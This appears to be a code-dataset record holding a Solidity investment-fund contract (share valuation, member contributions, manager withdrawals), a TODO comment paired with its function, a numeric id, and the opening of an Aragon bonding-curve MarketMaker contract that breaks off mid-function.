}
function getContributor(address member, uint index)
public
view
returns (address)
{
return _permittedContributors[member].get(index);
}
function balanceOfToken(ERC20Token token)
public
view
returns (uint)
{
return token.balanceOf(this);
}
function balanceValueOfToken(ERC20Token token)
public
view
returns (uint)
{
return ticker.valueAtRate(token, token.balanceOf(this), denomination);
}
function _balances()
internal
view
returns (ERC20Token[] tokens, uint[] tokenBalances)
{
uint numTokens = _ownedTokens.size();
uint[] memory bals = new uint[](numTokens);
ERC20Token[] memory toks = new ERC20Token[](numTokens);
for (uint i; i < numTokens; i++) {
ERC20Token token = ERC20Token(_approvedTokens.get(i));
bals[i] = token.balanceOf(this);
toks[i] = token;
}
return (toks, bals);
}
function balances()
public
view
returns (ERC20Token[] tokens, uint[] tokenBalances)
{
return _balances();
}
function balanceValues()
public
view
returns (ERC20Token[] tokens, uint[] tokenValues)
{
(ERC20Token[] memory toks, uint[] memory bals) = _balances();
return (toks, ticker.valuesAtRate(toks, bals, denomination));
}
function fundValue()
public
view
returns (uint)
{
(, uint[] memory vals) = balanceValues();
uint total;
for (uint i; i < vals.length; i++) {
total += vals[i];
}
return total;
}
function lastFundValue()
public
view
returns (uint value, uint timestamp)
{
FundValue storage lastValue = fundValues[fundValues.length-1];
return (lastValue.value, lastValue.timestamp);
}
function _recordFundValue()
public
returns (uint)
{
uint value = fundValue();
fundValues.push(FundValue(value, now));
return value;
}
function recordFundValue()
public
{
(, uint timestamp) = lastFundValue();
require(timestamp < now, "Fund value already recorded.");
_recordFundValue();
}
function _recordFundValueIfTime()
internal
returns (uint, bool)
{
(uint value, uint timestamp) = lastFundValue();
if (timestamp <= safeSub(now, recomputationDelay)) {
return (_recordFundValue(), true);
}
return (value, false);
}
function _shareValue(uint fundVal)
internal
view
returns (uint)
{
uint supply = totalSupply;
if (supply == 0) {
return 0;
}
uint denomDec = denominationDecimals;
return safeDiv_mpdec(fundVal, denomDec,
supply, decimals,
denomDec);
}
function shareValue()
public
view
returns (uint)
{
return _shareValue(fundValue());
}
function lastShareValue()
public
view
returns (uint)
{
(uint value, ) = lastFundValue();
return _shareValue(value);
}
function _shareQuantityValue(uint quantity, uint shareVal)
internal
view
returns (uint)
{
uint denomDec = denominationDecimals;
return safeMul_mpdec(shareVal, denomDec,
quantity, decimals,
denomDec);
}
function shareQuantityValue(uint quantity)
public
view
returns (uint)
{
return _shareQuantityValue(quantity, shareValue());
}
function lastShareQuantityValue(uint quantity)
public
view
returns (uint)
{
return _shareQuantityValue(quantity, lastShareValue());
}
function shareValueOf(address member)
public
view
returns (uint)
{
return shareQuantityValue(balanceOf[member]);
}
function lastShareValueOf(address member)
public
view
returns (uint)
{
return lastShareQuantityValue(balanceOf[member]);
}
function equivalentShares(ERC20Token token, uint tokenQuantity)
public
view
returns (uint)
{
uint tokenVal = ticker.valueAtRate(token, tokenQuantity, denomination);
uint supply = totalSupply;
if (supply == 0) {
// If there are no shares yet, we will hand back a quantity equivalent
// to the value they provided us.
return tokenVal;
}
(uint fundVal, ) = lastFundValue();
if (fundVal == 0) {
return 0; // TODO: Work out what to do in case the fund is worthless.
}
uint denomDec = denominationDecimals;
uint fractionOfTotal = safeDiv_dec(tokenVal, fundVal, denomDec);
return safeMul_mpdec(supply, decimals,
fractionOfTotal, denomDec,
decimals);
}
// TODO: Allow this to accept arbitrary contribution tokens.
// They will need to go in the membership request struct and recurring payment object.
// We may need to add separate structures for determining what tokens members may
// make contributions in and receive benefits in.
function requestMembership(address candidate, uint lockupDuration, uint payoutDuration,
uint initialContribution, uint expectedShares, bool setupSchedule,
uint scheduledContribution, uint scheduleDelay, uint scheduleDuration)
public
onlyRegistry
onlyNotMember(candidate)
{
require(!membershipRequests[candidate].pending, "Request exists.");
require(lockupDuration >= minimumLockupDuration, "Lockup too short.");
require(payoutDuration >= minimumPayoutDuration, "Payout too short.");
if (setupSchedule) {
uint totalDuration = safeAdd(lockupDuration, payoutDuration);
_validateSchedule(scheduledContribution, scheduleDelay, 0, scheduleDuration, totalDuration);
}
require(expectedShares <= equivalentShares(denomination, initialContribution), "Expected too many shares.");
// Store the request, pending approval.
membershipRequests[candidate] = MembershipRequest(
now,
lockupDuration,
payoutDuration,
setupSchedule,
scheduledContribution,
scheduleDelay,
scheduleDuration,
initialContribution,
expectedShares,
true
);
// Emit an event now that we've passed all the criteria for submitting a request to join.
emit newMembershipRequest(candidate);
}
function _currentSchedulePeriodStartTime(RecurringContributionSchedule storage schedule)
internal
view
returns (uint)
{
uint termination = schedule.terminationTime;
require(now < termination, "Schedule completed.");
uint periodLength = schedule.contributionDelay;
uint fullPeriodsToEnd = (termination - now) / periodLength;
return safeSub(termination, safeMul(fullPeriodsToEnd + 1, periodLength));
}
function currentSchedulePeriodStartTime(address member, address contributor)
public
view
returns (uint)
{
return _currentSchedulePeriodStartTime(contributionSchedule[member][contributor]);
}
function makeRecurringPayment(ERC20Token token, address contributor, address beneficiary, uint expectedShares)
public
postRecordFundValueIfTime
{
require(msg.sender == contributor ||
msg.sender == beneficiary ||
msg.sender == manager ||
msg.sender == contributionManager,
"Unauthorised to trigger payment.");
RecurringContributionSchedule storage schedule = contributionSchedule[beneficiary][contributor];
uint currentPeriodStartTime = _currentSchedulePeriodStartTime(schedule);
require(schedule.previousContributionTime <= currentPeriodStartTime,
"Contribution already made this period.");
schedule.previousContributionTime = now;
_contribute(contributor, beneficiary, token,
schedule.contributionQuantity, expectedShares,
true);
}
function allowContributor(address contributor)
public
onlyMember(msg.sender)
{
_permittedContributors[msg.sender].add(contributor);
/* TODO: Too expensive for test suite.
AddressSet.Set storage beneficiaries = _contributorBeneficiaries[contributor];
if (!beneficiaries.isInitialised()) {
beneficiaries.initialise();
}
beneficiaries.add(msg.sender);*/
}
function disallowContributor(address contributor)
public
onlyMember(msg.sender)
{
require(contributor != msg.sender, "May not reject self.");
_permittedContributors[msg.sender].remove(contributor);
/* TODO: Too expensive for test suite.
AddressSet.Set storage beneficiaries = _contributorBeneficiaries[contributor];
if (beneficiaries.isInitialised()) {
beneficiaries.remove(msg.sender);
}*/
}
function _validateContributionParties(address contributor, address beneficiary, ERC20Token token)
internal
view
{
// TODO: allow contributions in any token, with a more robust contribution permission system.
require(token == denomination, "Token not fund denomination.");
require(_permittedContributors[beneficiary].contains(contributor), "Contributor unauthorised."); // Implies beneficiary is a fund member.
}
function _validateSchedule(uint quantity, uint delay, uint startTime, uint terminationTime, uint finalBenefitTime)
pure
internal
{
require(0 < quantity,
"Nonzero contribution required.");
require(startTime < terminationTime && terminationTime <= finalBenefitTime,
"Schedule must terminate after it begins, before the end of the plan.");
// The previous require ensures startTime < terminationTime, so that no safeSub is required here.
require(0 < delay && delay <= terminationTime - startTime,
"Period length must be nonzero and shorter than schedule.");
}
function _setContributionSchedule(address contributor, address beneficiary, ERC20Token token,
uint quantity, uint delay, uint startTime, uint terminationTime)
internal
{
_validateContributionParties(contributor, beneficiary, token);
_validateSchedule(quantity, delay, startTime, terminationTime, memberDetails[beneficiary].finalBenefitTime);
contributionSchedule[beneficiary][contributor] = RecurringContributionSchedule(token, quantity, delay, terminationTime, 0);
AddressSet.Set storage beneficiaries = _contributorBeneficiaries[contributor];
if (!beneficiaries.isInitialised()) {
beneficiaries.initialise();
}
beneficiaries.add(beneficiary);
}
function deleteContributionSchedule(address contributor, address beneficiary)
external
{
require(msg.sender == contributor || msg.sender == beneficiary, "Sender unauthorised.");
delete contributionSchedule[beneficiary][contributor];
AddressSet.Set storage beneficiaries = _contributorBeneficiaries[contributor];
if (beneficiaries.isInitialised()) {
beneficiaries.remove(beneficiary);
}
}
function setContributionSchedule(address beneficiary, ERC20Token token,
uint quantity, uint delay, uint terminationTime)
external
{
_setContributionSchedule(msg.sender, beneficiary, token, quantity, delay, now, terminationTime);
}
function denyMembershipRequest(address candidate)
public
onlyManager
{
delete membershipRequests[candidate];
registry.denyMembershipRequest(candidate);
}
function cancelMembershipRequest(address candidate)
public
onlyRegistry
onlyNotMember(candidate)
{
// This is sent from the registry and already deleted on their end
delete membershipRequests[candidate];
}
function _addOwnedTokenIfBalance(ERC20Token token)
internal
{
if (!_ownedTokens.contains(token)) {
if(token.balanceOf(this) > 0) {
_ownedTokens.add(token);
}
}
}
function _removeOwnedTokenIfNoBalance(ERC20Token token)
internal
{
if (_ownedTokens.contains(token)) {
if(token.balanceOf(this) == 0) {
_ownedTokens.remove(token);
}
}
}
function approveMembershipRequest(address candidate)
public
onlyManager
postRecordFundValueIfTime
{
MembershipRequest storage request = membershipRequests[candidate];
require(request.pending, "Request inactive.");
// Add them as a member; this must occur before calling _contribute,
// which enforces that the beneficiary is a member.
_members.add(candidate);
uint lockupDuration = request.lockupDuration;
memberDetails[candidate] = MemberDetails(now,
now + lockupDuration,
now + lockupDuration + request.payoutDuration,
0);
_permittedContributors[candidate].initialise();
_permittedContributors[candidate].add(candidate);
// Set up the candidate's recurring payment schedule if required.
if (request.setupSchedule) {
_setContributionSchedule(candidate, candidate, denomination,
request.scheduledContribution,
request.scheduleDelay,
request.timestamp,
now + request.scheduleDuration);
}
// Make the actual contribution.
uint initialContribution = request.initialContribution;
if (initialContribution > 0) {
_contribute(candidate, candidate, denomination, initialContribution, request.expectedShares, false);
}
// Add the candidate to the fund on the registry
registry.approveMembershipRequest(candidate);
// Complete the join request.
membershipRequests[candidate].pending = false;
emit newMemberAccepted(candidate);
}
function _createLockedShares(address beneficiary, uint expectedShares)
internal
{
_createShares(beneficiary, expectedShares);
memberDetails[beneficiary].totalUnlockable += expectedShares;
}
function _contribute(address contributor, address beneficiary, ERC20Token token,
uint contribution, uint expectedShares, bool checkShares)
internal
onlyMember(beneficiary)
{
_validateContributionParties(contributor, beneficiary, token);
require(now < memberDetails[beneficiary].finalBenefitTime, "Plan has terminated.");
if (checkShares) {
require(expectedShares <= equivalentShares(token, contribution), "Expected too many shares.");
}
require(token.transferFrom(contributor, this, contribution), "Token transfer failed.");
_addOwnedTokenIfBalance(token);
contributions[beneficiary].push(Contribution(contributor, now, token, contribution));
_createLockedShares(beneficiary, expectedShares);
}
function makeContributionFor(address beneficiary, ERC20Token token, uint contribution, uint expectedShares)
public
postRecordFundValueIfTime
{
_contribute(msg.sender, beneficiary, token, contribution, expectedShares, true);
}
function lockedBenefits(address member)
public
view
returns (uint)
{
MemberDetails storage details = memberDetails[member];
uint totalUnlockable = details.totalUnlockable;
uint memberUnlockTime = details.unlockTime;
if (now < memberUnlockTime) {
return totalUnlockable;
}
uint benefitDuration = details.finalBenefitTime - memberUnlockTime;
if (benefitDuration == 0) {
return 0;
}
uint fractionElapsed = safeDiv_mpdec(now - memberUnlockTime, 0,
benefitDuration, 0,
decimals);
if (fractionElapsed > unit(decimals)) {
return 0;
}
return totalUnlockable - safeMul_dec(fractionElapsed, totalUnlockable, decimals);
}
function withdrawBenefits(uint shareQuantity)
public
onlyMember(msg.sender)
postRecordFundValueIfTime
returns (uint)
{
uint locked = lockedBenefits(msg.sender);
uint balance = balanceOf[msg.sender];
uint destroyableShares = safeSub(balance, locked);
require(shareQuantity <= destroyableShares, "Insufficient unlockable shares.");
balanceOf[msg.sender] -= shareQuantity;
uint value = lastShareQuantityValue(shareQuantity);
denomination.transfer(msg.sender, value);
return value;
}
function withdrawFees()
public
onlyManager
postRecordFundValueIfTime
{
unimplemented();
}
// TODO: Make these manager functions two-stage so that, for example, large
// transfers might require board approval before they go through.
function withdraw(ERC20Token token, address destination, uint quantity, string annotation)
external
onlyManager
postRecordFundValueIfTime
returns (uint)
{
// TODO: check the Governor if this withdrawal is permitted.
require(bytes(annotation).length > 0, "No annotation.");
uint result = token.transfer(destination, quantity) ? 0 : 1;
_removeOwnedTokenIfNoBalance(token);
managementLog.push(LogEntry(LogType.Withdrawal, now, token, quantity, destination, result, annotation));
return result;
}
function approveWithdrawal(ERC20Token token, address spender, uint quantity, string annotation)
external
onlyManager
returns (uint)
{
return _approveWithdrawal(token, spender, quantity, annotation);
}
function approveUserJoiningFees(uint numUsers)
external
onlyManager
returns (uint)
{
return _approveWithdrawal(registry.feeToken(), address(registry),
safeMul(registry.userRegistrationFee(), numUsers),
"Membership fee transfers approved.");
}
function _approveWithdrawal(ERC20Token token, address spender, uint quantity, string annotation)
internal
returns (uint)
{
// TODO: check the Governor if this approval is permitted.
require(bytes(annotation).length > 0, "No annotation.");
uint result = token.approve(spender, quantity) ? 0 : 1;
managementLog.push(LogEntry(LogType.Approval, now, token, quantity, spender, result, annotation));
return result;
}
function deposit(ERC20Token token, address depositor, uint quantity, string annotation)
external
onlyManager
postRecordFundValueIfTime
returns (uint)
{
// TODO: check the Governor if this deposit is permitted.
require(_approvedTokens.contains(token), "Token not approved.");
require(bytes(annotation).length > 0, "No annotation.");
require(!(_members.contains(depositor) || membershipRequests[depositor].pending), "Depositor is fund member.");
require(token.allowance(depositor, this) >= quantity, "Insufficient depositor allowance.");
uint result = token.transferFrom(depositor, this, quantity) ? 0 : 1;
_addOwnedTokenIfBalance(token);
managementLog.push(LogEntry(LogType.Deposit, now, token, quantity, depositor, result, annotation));
return result;
}
}
|
TODO: check the Governor if this approval is permitted.
|
function _approveWithdrawal(ERC20Token token, address spender, uint quantity, string annotation)
internal
returns (uint)
{
require(bytes(annotation).length > 0, "No annotation.");
uint result = token.approve(spender, quantity) ? 0 : 1;
managementLog.push(LogEntry(LogType.Approval, now, token, quantity, spender, result, annotation));
return result;
}
| 12,761,926 |
pragma solidity 0.4.24;
import "@aragon/os/contracts/apps/UnsafeAragonApp.sol";
import "@aragon/os/contracts/common/EtherTokenConstant.sol";
import "@aragon/os/contracts/common/IsContract.sol";
import "@aragon/os/contracts/common/SafeERC20.sol";
import "@aragon/os/contracts/lib/math/SafeMath.sol";
import "@aragon/os/contracts/lib/token/ERC20.sol";
import "./IContinuousToken.sol";
import "./Vault.sol";
import "@ablack/fundraising-bancor-formula/contracts/BancorFormula.sol";
import "@ablack/fundraising-shared-interfaces/contracts/IAragonFundraisingController.sol";
contract MarketMaker is EtherTokenConstant, IsContract, UnsafeAragonApp {
using SafeERC20 for ERC20;
using SafeMath for uint256;
/**
Hardcoded constants to save gas
bytes32 public constant OPEN_ROLE = keccak256("OPEN_ROLE");
bytes32 public constant UPDATE_FORMULA_ROLE = keccak256("UPDATE_FORMULA_ROLE");
bytes32 public constant UPDATE_BENEFICIARY_ROLE = keccak256("UPDATE_BENEFICIARY_ROLE");
bytes32 public constant UPDATE_FEES_ROLE = keccak256("UPDATE_FEES_ROLE");
bytes32 public constant ADD_COLLATERAL_TOKEN_ROLE = keccak256("ADD_COLLATERAL_TOKEN_ROLE");
bytes32 public constant REMOVE_COLLATERAL_TOKEN_ROLE = keccak256("REMOVE_COLLATERAL_TOKEN_ROLE");
bytes32 public constant UPDATE_COLLATERAL_TOKEN_ROLE = keccak256("UPDATE_COLLATERAL_TOKEN_ROLE");
bytes32 public constant OPEN_BUY_ORDER_ROLE = keccak256("OPEN_BUY_ORDER_ROLE");
bytes32 public constant OPEN_SELL_ORDER_ROLE = keccak256("OPEN_SELL_ORDER_ROLE");
*/
bytes32 public constant OPEN_ROLE = 0xefa06053e2ca99a43c97c4a4f3d8a394ee3323a8ff237e625fba09fe30ceb0a4;
bytes32 public constant UPDATE_FORMULA_ROLE = 0xbfb76d8d43f55efe58544ea32af187792a7bdb983850d8fed33478266eec3cbb;
bytes32 public constant UPDATE_BENEFICIARY_ROLE =
0xf7ea2b80c7b6a2cab2c11d2290cb005c3748397358a25e17113658c83b732593;
bytes32 public constant UPDATE_FEES_ROLE = 0x5f9be2932ed3a723f295a763be1804c7ebfd1a41c1348fb8bdf5be1c5cdca822;
bytes32 public constant ADD_COLLATERAL_TOKEN_ROLE =
0x217b79cb2bc7760defc88529853ef81ab33ae5bb315408ce9f5af09c8776662d;
bytes32 public constant REMOVE_COLLATERAL_TOKEN_ROLE =
0x2044e56de223845e4be7d0a6f4e9a29b635547f16413a6d1327c58d9db438ee2;
bytes32 public constant UPDATE_COLLATERAL_TOKEN_ROLE =
0xe0565c2c43e0d841e206bb36a37f12f22584b4652ccee6f9e0c071b697a2e13d;
bytes32 public constant OPEN_BUY_ORDER_ROLE = 0xa589c8f284b76fc8d510d9d553485c47dbef1b0745ae00e0f3fd4e28fcd77ea7;
bytes32 public constant OPEN_SELL_ORDER_ROLE = 0xd68ba2b769fa37a2a7bd4bed9241b448bc99eca41f519ef037406386a8f291c0;
uint256 public constant PCT_BASE = 10**18; // 0% = 0; 1% = 10 ** 16; 100% = 10 ** 18
uint32 public constant PPM = 1000000;
string private constant ERROR_CONTRACT_IS_EOA = "MM_CONTRACT_IS_EOA";
string private constant ERROR_INVALID_BENEFICIARY = "MM_INVALID_BENEFICIARY";
string private constant ERROR_INVALID_BATCH_BLOCKS = "MM_INVALID_BATCH_BLOCKS";
string private constant ERROR_INVALID_PERCENTAGE = "MM_INVALID_PERCENTAGE";
string private constant ERROR_INVALID_RESERVE_RATIO = "MM_INVALID_RESERVE_RATIO";
string private constant ERROR_INVALID_TM_SETTING = "MM_INVALID_TM_SETTING";
string private constant ERROR_INVALID_COLLATERAL = "MM_INVALID_COLLATERAL";
string private constant ERROR_INVALID_COLLATERAL_VALUE = "MM_INVALID_COLLATERAL_VALUE";
string private constant ERROR_INVALID_BOND_AMOUNT = "MM_INVALID_BOND_AMOUNT";
string private constant ERROR_ALREADY_OPEN = "MM_ALREADY_OPEN";
string private constant ERROR_NOT_OPEN = "MM_NOT_OPEN";
string private constant ERROR_COLLATERAL_ALREADY_WHITELISTED = "MM_COLLATERAL_ALREADY_WHITELISTED";
string private constant ERROR_COLLATERAL_NOT_WHITELISTED = "MM_COLLATERAL_NOT_WHITELISTED";
string private constant ERROR_NOTHING_TO_CLAIM = "MM_NOTHING_TO_CLAIM";
string private constant ERROR_BATCH_NOT_OVER = "MM_BATCH_NOT_OVER";
string private constant ERROR_BATCH_CANCELLED = "MM_BATCH_CANCELLED";
string private constant ERROR_BATCH_NOT_CANCELLED = "MM_BATCH_NOT_CANCELLED";
string private constant ERROR_SLIPPAGE_EXCEEDS_LIMIT = "MM_SLIPPAGE_EXCEEDS_LIMIT";
string private constant ERROR_INSUFFICIENT_POOL_BALANCE = "MM_INSUFFICIENT_POOL_BALANCE";
string private constant ERROR_TRANSFER_FROM_FAILED = "MM_TRANSFER_FROM_FAILED";
struct Collateral {
bool whitelisted;
uint256 virtualSupply;
uint256 virtualBalance;
uint32 reserveRatio;
uint256 slippage;
}
struct MetaBatch {
bool initialized;
uint256 realSupply;
uint256 buyFeePct;
uint256 sellFeePct;
IBancorFormula formula;
mapping(address => Batch) batches;
}
struct Batch {
bool initialized;
bool cancelled;
uint256 supply;
uint256 balance;
uint32 reserveRatio;
uint256 slippage;
uint256 totalBuySpend;
uint256 totalBuyReturn;
uint256 totalSellSpend;
uint256 totalSellReturn;
mapping(address => uint256) buyers;
mapping(address => uint256) sellers;
}
IAragonFundraisingController public controller;
IContinuousToken public bondedToken;
Vault public reserve;
address public beneficiary;
IBancorFormula public formula;
uint256 public batchBlocks;
uint256 public buyFeePct;
uint256 public sellFeePct;
bool public isOpen;
uint256 public tokensToBeMinted;
mapping(address => uint256) public collateralsToBeClaimed;
mapping(address => Collateral) public collaterals;
mapping(uint256 => MetaBatch) public metaBatches;
event UpdateBeneficiary(address indexed beneficiary);
event UpdateFormula(address indexed formula);
event UpdateFees(uint256 buyFeePct, uint256 sellFeePct);
event NewMetaBatch(uint256 indexed id, uint256 supply, uint256 buyFeePct, uint256 sellFeePct, address formula);
event NewBatch(
uint256 indexed id,
address indexed collateral,
uint256 supply,
uint256 balance,
uint32 reserveRatio,
uint256 slippage
);
event CancelBatch(uint256 indexed id, address indexed collateral);
event AddCollateralToken(
address indexed collateral,
uint256 virtualSupply,
uint256 virtualBalance,
uint32 reserveRatio,
uint256 slippage
);
event RemoveCollateralToken(address indexed collateral);
event UpdateCollateralToken(
address indexed collateral,
uint256 virtualSupply,
uint256 virtualBalance,
uint32 reserveRatio,
uint256 slippage
);
event Open();
event OpenBuyOrder(
address indexed buyer,
uint256 indexed batchId,
address indexed collateral,
uint256 fee,
uint256 value
);
event OpenSellOrder(address indexed seller, uint256 indexed batchId, address indexed collateral, uint256 amount);
event ClaimBuyOrder(address indexed buyer, uint256 indexed batchId, address indexed collateral, uint256 amount);
event ClaimSellOrder(
address indexed seller,
uint256 indexed batchId,
address indexed collateral,
uint256 fee,
uint256 value
);
event ClaimCancelledBuyOrder(
address indexed buyer,
uint256 indexed batchId,
address indexed collateral,
uint256 value
);
event ClaimCancelledSellOrder(
address indexed seller,
uint256 indexed batchId,
address indexed collateral,
uint256 amount
);
event UpdatePricing(
uint256 indexed batchId,
address indexed collateral,
uint256 totalBuySpend,
uint256 totalBuyReturn,
uint256 totalSellSpend,
uint256 totalSellReturn
);
/***** external function *****/
/**
* @notice Initialize market maker
* @param _controller The address of the controller contract
* @param _bondedToken The address of the bonded token
* @param _reserve The address of the reserve [pool] contract
* @param _beneficiary The address of the beneficiary [to whom fees are to be sent]
* @param _formula The address of the BancorFormula [computation] contract
* @param _batchBlocks The number of blocks batches are to last
* @param _buyFeePct The fee to be deducted from buy orders [in PCT_BASE]
* @param _sellFeePct The fee to be deducted from sell orders [in PCT_BASE]
*/
function initialize(
IKernel _kernel,
IAragonFundraisingController _controller,
IContinuousToken _bondedToken,
IBancorFormula _formula,
Vault _reserve,
address _beneficiary,
uint256 _batchBlocks,
uint256 _buyFeePct,
uint256 _sellFeePct
) external onlyInit {
initialized();
require(isContract(_kernel), ERROR_CONTRACT_IS_EOA);
require(isContract(_controller), ERROR_CONTRACT_IS_EOA);
require(isContract(_bondedToken), ERROR_CONTRACT_IS_EOA);
require(isContract(_formula), ERROR_CONTRACT_IS_EOA);
require(isContract(_reserve), ERROR_CONTRACT_IS_EOA);
require(_beneficiaryIsValid(_beneficiary), ERROR_INVALID_BENEFICIARY);
require(_batchBlocks > 0, ERROR_INVALID_BATCH_BLOCKS);
require(_feeIsValid(_buyFeePct) && _feeIsValid(_sellFeePct), ERROR_INVALID_PERCENTAGE);
controller = _controller;
bondedToken = _bondedToken;
formula = _formula;
reserve = _reserve;
beneficiary = _beneficiary;
batchBlocks = _batchBlocks;
buyFeePct = _buyFeePct;
sellFeePct = _sellFeePct;
setKernel(_kernel);
}
/* generic settings related function */
/**
* @notice Open market making [enabling users to open buy and sell orders]
*/
function open() external auth(OPEN_ROLE) {
require(!isOpen, ERROR_ALREADY_OPEN);
_open();
}
/**
* @notice Update formula to `_formula`
* @param _formula The address of the new BancorFormula [computation] contract
*/
function updateFormula(IBancorFormula _formula) external auth(UPDATE_FORMULA_ROLE) {
require(isContract(_formula), ERROR_CONTRACT_IS_EOA);
_updateFormula(_formula);
}
/**
* @notice Update beneficiary to `_beneficiary`
* @param _beneficiary The address of the new beneficiary [to whom fees are to be sent]
*/
function updateBeneficiary(address _beneficiary) external auth(UPDATE_BENEFICIARY_ROLE) {
require(_beneficiaryIsValid(_beneficiary), ERROR_INVALID_BENEFICIARY);
_updateBeneficiary(_beneficiary);
}
/**
* @notice Update fees deducted from buy and sell orders to respectively `@formatPct(_buyFeePct)`% and `@formatPct(_sellFeePct)`%
* @param _buyFeePct The new fee to be deducted from buy orders [in PCT_BASE]
* @param _sellFeePct The new fee to be deducted from sell orders [in PCT_BASE]
*/
function updateFees(uint256 _buyFeePct, uint256 _sellFeePct) external auth(UPDATE_FEES_ROLE) {
require(_feeIsValid(_buyFeePct) && _feeIsValid(_sellFeePct), ERROR_INVALID_PERCENTAGE);
_updateFees(_buyFeePct, _sellFeePct);
}
/* collateral tokens related functions */
/**
* @notice Add `_collateral.symbol(): string` as a whitelisted collateral token
* @param _collateral The address of the collateral token to be whitelisted
* @param _virtualSupply The virtual supply to be used for that collateral token [in wei]
* @param _virtualBalance The virtual balance to be used for that collateral token [in wei]
* @param _reserveRatio The reserve ratio to be used for that collateral token [in PPM]
* @param _slippage The price slippage below which each batch is to be kept for that collateral token [in PCT_BASE]
*/
function addCollateralToken(
address _collateral,
uint256 _virtualSupply,
uint256 _virtualBalance,
uint32 _reserveRatio,
uint256 _slippage
) external auth(ADD_COLLATERAL_TOKEN_ROLE) {
require(isContract(_collateral) || _collateral == ETH, ERROR_INVALID_COLLATERAL);
require(!_collateralIsWhitelisted(_collateral), ERROR_COLLATERAL_ALREADY_WHITELISTED);
require(_reserveRatioIsValid(_reserveRatio), ERROR_INVALID_RESERVE_RATIO);
_addCollateralToken(_collateral, _virtualSupply, _virtualBalance, _reserveRatio, _slippage);
}
/**
* @notice Remove `_collateral.symbol(): string` as a whitelisted collateral token
* @param _collateral The address of the collateral token to be un-whitelisted
*/
function removeCollateralToken(address _collateral) external auth(REMOVE_COLLATERAL_TOKEN_ROLE) {
require(_collateralIsWhitelisted(_collateral), ERROR_COLLATERAL_NOT_WHITELISTED);
_removeCollateralToken(_collateral);
}
/**
* @notice Update `_collateral.symbol(): string` collateralization settings
* @param _collateral The address of the collateral token whose collateralization settings are to be updated
* @param _virtualSupply The new virtual supply to be used for that collateral token [in wei]
* @param _virtualBalance The new virtual balance to be used for that collateral token [in wei]
* @param _reserveRatio The new reserve ratio to be used for that collateral token [in PPM]
* @param _slippage The new price slippage below which each batch is to be kept for that collateral token [in PCT_BASE]
*/
function updateCollateralToken(
address _collateral,
uint256 _virtualSupply,
uint256 _virtualBalance,
uint32 _reserveRatio,
uint256 _slippage
) external auth(UPDATE_COLLATERAL_TOKEN_ROLE) {
require(_collateralIsWhitelisted(_collateral), ERROR_COLLATERAL_NOT_WHITELISTED);
require(_reserveRatioIsValid(_reserveRatio), ERROR_INVALID_RESERVE_RATIO);
_updateCollateralToken(_collateral, _virtualSupply, _virtualBalance, _reserveRatio, _slippage);
}
/* market making related functions */
/**
* @notice Open a buy order worth `@tokenAmount(_collateral, _value)`
* @param _buyer The address of the buyer
* @param _collateral The address of the collateral token to be spent
* @param _value The amount of collateral token to be spent
*/
function openBuyOrder(
address _buyer,
address _collateral,
uint256 _value
) external payable auth(OPEN_BUY_ORDER_ROLE) {
require(isOpen, ERROR_NOT_OPEN);
require(_collateralIsWhitelisted(_collateral), ERROR_COLLATERAL_NOT_WHITELISTED);
require(!_batchIsCancelled(_currentBatchId(), _collateral), ERROR_BATCH_CANCELLED);
require(_collateralValueIsValid(_buyer, _collateral, _value, msg.value), ERROR_INVALID_COLLATERAL_VALUE);
_openBuyOrder(_buyer, _collateral, _value);
}
/**
* @notice Open a sell order worth `@tokenAmount(self.token(): address, _amount)` against `_collateral.symbol(): string`
* @param _seller The address of the seller
* @param _collateral The address of the collateral token to be returned
* @param _amount The amount of bonded token to be spent
*/
function openSellOrder(
address _seller,
address _collateral,
uint256 _amount
) external auth(OPEN_SELL_ORDER_ROLE) {
require(isOpen, ERROR_NOT_OPEN);
require(_collateralIsWhitelisted(_collateral), ERROR_COLLATERAL_NOT_WHITELISTED);
require(!_batchIsCancelled(_currentBatchId(), _collateral), ERROR_BATCH_CANCELLED);
require(_bondAmountIsValid(_seller, _amount), ERROR_INVALID_BOND_AMOUNT);
_openSellOrder(_seller, _collateral, _amount);
}
/**
* @notice Claim the results of `_buyer`'s `_collateral.symbol(): string` buy orders from batch #`_batchId`
* @param _buyer The address of the user whose buy orders are to be claimed
* @param _batchId The id of the batch in which buy orders are to be claimed
* @param _collateral The address of the collateral token against which buy orders are to be claimed
*/
function claimBuyOrder(
address _buyer,
uint256 _batchId,
address _collateral
) external nonReentrant isInitialized {
require(_collateralIsWhitelisted(_collateral), ERROR_COLLATERAL_NOT_WHITELISTED);
require(_batchIsOver(_batchId), ERROR_BATCH_NOT_OVER);
require(!_batchIsCancelled(_batchId, _collateral), ERROR_BATCH_CANCELLED);
require(_userIsBuyer(_batchId, _collateral, _buyer), ERROR_NOTHING_TO_CLAIM);
_claimBuyOrder(_buyer, _batchId, _collateral);
}
/**
* @notice Claim the results of `_seller`'s `_collateral.symbol(): string` sell orders from batch #`_batchId`
* @param _seller The address of the user whose sell orders are to be claimed
* @param _batchId The id of the batch in which sell orders are to be claimed
* @param _collateral The address of the collateral token against which sell orders are to be claimed
*/
function claimSellOrder(
address _seller,
uint256 _batchId,
address _collateral
) external nonReentrant isInitialized {
require(_collateralIsWhitelisted(_collateral), ERROR_COLLATERAL_NOT_WHITELISTED);
require(_batchIsOver(_batchId), ERROR_BATCH_NOT_OVER);
require(!_batchIsCancelled(_batchId, _collateral), ERROR_BATCH_CANCELLED);
require(_userIsSeller(_batchId, _collateral, _seller), ERROR_NOTHING_TO_CLAIM);
_claimSellOrder(_seller, _batchId, _collateral);
}
/**
* @notice Claim the investments of `_buyer`'s `_collateral.symbol(): string` buy orders from cancelled batch #`_batchId`
* @param _buyer The address of the user whose cancelled buy orders are to be claimed
* @param _batchId The id of the batch in which cancelled buy orders are to be claimed
* @param _collateral The address of the collateral token against which cancelled buy orders are to be claimed
*/
function claimCancelledBuyOrder(
address _buyer,
uint256 _batchId,
address _collateral
) external nonReentrant isInitialized {
require(_batchIsCancelled(_batchId, _collateral), ERROR_BATCH_NOT_CANCELLED);
require(_userIsBuyer(_batchId, _collateral, _buyer), ERROR_NOTHING_TO_CLAIM);
_claimCancelledBuyOrder(_buyer, _batchId, _collateral);
}
/**
* @notice Claim the investments of `_seller`'s `_collateral.symbol(): string` sell orders from cancelled batch #`_batchId`
* @param _seller The address of the user whose cancelled sell orders are to be claimed
* @param _batchId The id of the batch in which cancelled sell orders are to be claimed
* @param _collateral The address of the collateral token against which cancelled sell orders are to be claimed
*/
function claimCancelledSellOrder(
address _seller,
uint256 _batchId,
address _collateral
) external nonReentrant isInitialized {
require(_batchIsCancelled(_batchId, _collateral), ERROR_BATCH_NOT_CANCELLED);
